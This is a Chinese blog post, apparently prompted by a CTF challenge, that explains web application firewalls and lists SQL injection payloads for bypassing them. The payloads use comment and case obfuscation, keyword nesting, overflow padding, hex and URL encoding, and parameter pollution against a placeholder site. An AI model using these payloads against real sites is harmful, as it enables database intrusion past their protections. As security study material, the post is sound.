最近一直纠结cuit 的一道渗透题,是关于绕过WAF的,也许是以前工具用多了,也许真的自己实力不行,很久都没做出来。百度了很多关于绕过WAF的资料,特来总结下。
一、首先让我们认识下什么叫做WAF
Web应用防护系统,英文叫做Web Application Firewall。
Web应用防火墙的具有以下四个方面的功能:
1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
2. 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
4. WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。
这里有关于WAF的安全原理和技术分析
http://netsecurity.51cto.com/art/201007/212941.htm
二、怎么知道是否有WAF
当你尝试写入一段sql代码(比如 "UNIONSELECT"),你得到一个403错误(或者网站回复"Forbidden"或"NotAcceptable")
三、怎么绕过WAF
1、常用方法有注释、大小写
注释:
http://www.xxx.com/index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,2,3,4--
大小写:
http://www.xxx.com/index.php?id=-1+/*!UnIoN*/+/*!SeLecT*/+1,2,3,4--
遇到过滤关键字的还需要构造语句:
http://www.xxx.com/index.php?id=-1+UNIunionON+SELselectECT+1,2,3,4--
2、许多防火墙都是有C/C++开发的,所以我们可以尝试缓冲区溢出
http://www.xxx.com/index.php?id=-1+and+(select1)=(Select 0xAA[..(add about 1000"A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4--
也可以尝试下这个语句
?id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4--
3、运用编码技术或者HEX
or 1=1即%6f%72%20%31%3d%31
0x730079007300610064006D0069006E00=hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
4、被遗忘的复参攻击
http://www.xxx.com/index.php?id=1&id=2 http://www.xxx.com/index.php?id=1/**/union/*&id=*/select/*&id=*/1,2,3,4--/*
参考:
【1】http://laterain.blog.163.com/blog/static/20231410320127269943720/
【2】http://www.2cto.com/Article/201206/135794.html
【3】http://www.80sec.com/%E6%B5%85%E8%B0%88%E7%BB%95%E8%BF%87waf%E7%9A%84%E6%95%B0%E7%A7%8D%E6%96%B9%E6%B3%95.html
未完待续。。。